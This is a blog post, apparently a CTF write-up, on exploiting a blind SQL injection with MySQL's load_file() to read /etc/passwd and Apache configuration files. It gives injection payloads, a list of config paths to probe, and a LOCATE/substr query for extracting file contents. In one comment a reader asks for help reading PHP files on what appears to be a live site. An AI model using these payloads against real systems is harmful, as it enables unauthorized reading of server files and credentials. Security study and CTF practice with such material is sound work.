Blind SQL injection with load_file()

Currently I am working a lot on RIPS but here is a small blogpost about a technique I thought about lately and wanted to share.
While participating at the smpCTF I came across a blind SQL injection in level 2. After solving the challenge I checked for the FILE privilege:

/level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/**/0x25726F6F7425/**/limit/**/1)=0x59

Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with load_file() worked at all and tried to read /etc/passwd:

/level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764))

Since the webpage with id=1 was displayed the and condition must have been evaluated to true which means that the file could be read (load_file() returns null if the file can not be read). Before reading the PHP files I needed to find the webserver configuration file to find out where the DocumentRoot was configured. I used the same query as above to check for the existence of the following apache config files:

$paths = array( 
"/etc/passwd", 
"/etc/init.d/apache/httpd.conf", 
"/etc/init.d/apache2/httpd.conf", 
"/etc/httpd/httpd.conf", 
"/etc/httpd/conf/httpd.conf", 
"/etc/apache/apache.conf", 
"/etc/apache/httpd.conf", 
"/etc/apache2/apache2.conf", 
"/etc/apache2/httpd.conf", 
"/usr/local/apache2/conf/httpd.conf", 
"/usr/local/apache/conf/httpd.conf", 
"/opt/apache/conf/httpd.conf", 
"/home/apache/httpd.conf", 
"/home/apache/conf/httpd.conf", 
"/etc/apache2/sites-available/default", 
"/etc/apache2/vhosts.d/default_vhost.include");

update: There is an official list for Apache. Very useful.

Webpage with id=1 was displayed for the file /etc/httpd/httpd.conf thus revealing that this file existed and could be read.

Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. Since the length of the file was more than 10000 chars this would have taken way too long.
I decided to give little shots at the configuration file trying to hit the DocumentRoot setting or a comment nearby that identifies my current position. Each shot bruteforced 10 alphanumerical characters:

/level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E636F6E66)),$k,1)=0x$char

I compared the few bruteforced characters to a known apache configuration file trying to map the characters to a common configuration comment. This worked for most of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the DocumentRoot setting once another setting had been identified. I bruteforced only alphanumerical strings to save time. For example the bruteforced string “dulesthoselisted” could be mapped to the comment “modules (those listed by `httpd -l’)” and so on.
After the 10th shot I luckily hit the DocumentRoot setting comment at offset 7467 and after this it was possible to calculate the correct offset for the beginning of the DocumentRoot setting and I could retrieve “srvhttpdhtdocs” (DocumentRoot: /srv/httpd/htdocs/).

While that worked fine during the hectics of the CTF and was better than a bruteforce on the whole configuration file, I thought about it again yesterday and thought that this technique was plain stupid ;).

If you know what you are looking for in a file (and mostly you do) you can easily find the correct offset with LOCATE(substr,str[,pos]) which will return the offset of a given substring found in a string. The following query instantly returns the next 10 characters after the DocumentRoot setting:

substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)

and can then be bruteforced easily:

mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)),$k,1)=0x$char

No magic here, but a helpful combination of mysql build in functions when reading files blindly.

6 Responses to Blind SQL injection with load_file()

  1. miguel says:

    nice trick

    good work, as always!

  2. Aza says:

    I liked the searching on the document before reading the last part xD.
    For cases where you don’t know what you’re searching for, maybe it could be optimized checking for the most common chars first 😀
    http://en.wikipedia.org/wiki/Letter_frequency

  3. aze says:

    Very nice stat..
    Thanks

  4. alex says:

    Very interesting post. nice trick 🙂

  5. krns says:

    i can view /etc/passwd file with the load_file function, but i could not view the httpd.conf file and tried all above locations 😦

    also website displays an error msg that displays the file path. i tried that path but it did not work too.
    can you please tell me how can i load php files with load_file function?

    i think all required permissions are available to load_file because i can load /etc/passwd file.

    this is the error displayed on the page.

    Fatal error: Cannot use object of type MDB2_Error as array in /home/httpd/vhosts/domain.com/html/templates_c/%%73/730/73011A49%%profile.tpl.php on line 596

  6. Flash says:

    hi, how to implement your approach for find out “DocumentRoot” location in NOT blindly injection?

    Great article!

Leave a comment